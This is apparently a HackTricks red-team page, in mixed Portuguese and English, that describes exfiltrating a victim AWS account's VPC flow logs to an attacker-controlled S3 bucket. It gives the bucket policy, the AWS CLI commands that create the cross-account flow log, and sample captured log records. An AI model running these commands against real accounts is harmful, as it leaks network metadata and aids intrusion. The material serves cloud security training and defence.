AWS - Exfiltração entre contas de VPC Flow Logs para S3

Reading time: 4 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Summary

Abuse ec2:CreateFlowLogs para exportar VPC, subnet, ou ENI flow logs diretamente para um bucket S3 controlado pelo atacante. Uma vez que o delivery role esteja configurado para gravar no bucket externo, toda conexão vista no recurso monitorado é transmitida para fora da conta da vítima.

Requirements

  • Principal da vítima: ec2:CreateFlowLogs, ec2:DescribeFlowLogs, and iam:PassRole (se um delivery role for requerido/criado).
  • Bucket do atacante: política S3 que confia em delivery.logs.amazonaws.com com s3:PutObject e bucket-owner-full-control.
  • Opcional: logs:DescribeLogGroups se exportando para CloudWatch em vez de S3 (não necessário aqui).

Attack Walkthrough

  1. Atacante prepara uma política de bucket S3 (na conta do atacante) que permite ao VPC Flow Logs delivery service gravar objetos. Substitua os marcadores de posição antes de aplicar:
json
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowVPCFlowLogsDelivery",
"Effect": "Allow",
"Principal": { "Service": "delivery.logs.amazonaws.com" },
"Action": "s3:PutObject",
"Resource": "arn:aws:s3:::<attacker-bucket>/flowlogs/*",
"Condition": {
"StringEquals": { "s3:x-amz-acl": "bucket-owner-full-control" }
}
}
]
}

Aplicar a partir da conta do atacante:

bash
aws s3api put-bucket-policy \
--bucket <attacker-bucket> \
--policy file://flowlogs-policy.json
  1. Victim (principal comprometido) cria os flow logs direcionados ao attacker bucket:
bash
REGION=us-east-1
VPC_ID=<vpc-xxxxxxxx>
ROLE_ARN=<delivery-role-with-logs-permissions>   # Must allow delivery.logs.amazonaws.com to assume it
aws ec2 create-flow-logs \
--resource-type VPC \
--resource-ids "$VPC_ID" \
--traffic-type ALL \
--log-destination-type s3 \
--log-destination arn:aws:s3:::<attacker-bucket>/flowlogs/ \
--deliver-logs-permission-arn "$ROLE_ARN" \
--region "$REGION"

Em poucos minutos, arquivos de flow log aparecem no attacker bucket contendo conexões para todas as ENIs na VPC/sub-rede monitorada.

Evidências

Exemplos de registros de flow log gravados no attacker bucket:

text
version account-id interface-id srcaddr dstaddr srcport dstport protocol packets bytes start end action log-status
2 947247140022 eni-074cdc68182fb7e4d 52.217.123.250 10.77.1.240 443 48674 6 2359 3375867 1759874460 1759874487 ACCEPT OK
2 947247140022 eni-074cdc68182fb7e4d 10.77.1.240 52.217.123.250 48674 443 6 169 7612 1759874460 1759874487 ACCEPT OK
2 947247140022 eni-074cdc68182fb7e4d 54.231.199.186 10.77.1.240 443 59604 6 34 33539 1759874460 1759874487 ACCEPT OK
2 947247140022 eni-074cdc68182fb7e4d 10.77.1.240 54.231.199.186 59604 443 6 18 1726 1759874460 1759874487 ACCEPT OK
2 947247140022 eni-074cdc68182fb7e4d 16.15.204.15 10.77.1.240 443 57868 6 162 1219352 1759874460 1759874487 ACCEPT OK

Prova de listagem do Bucket:

bash
aws s3 ls s3://<attacker-bucket>/flowlogs/ --recursive --human-readable --summarize

Impacto

  • Continuous network metadata exfiltration (source/destination IPs, ports, protocols) for the monitored VPC/subnet/ENI.
  • Permite análise de tráfego, identificação de serviços sensíveis e potencial hunting por misconfigurações de security group a partir de fora da conta da vítima.

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks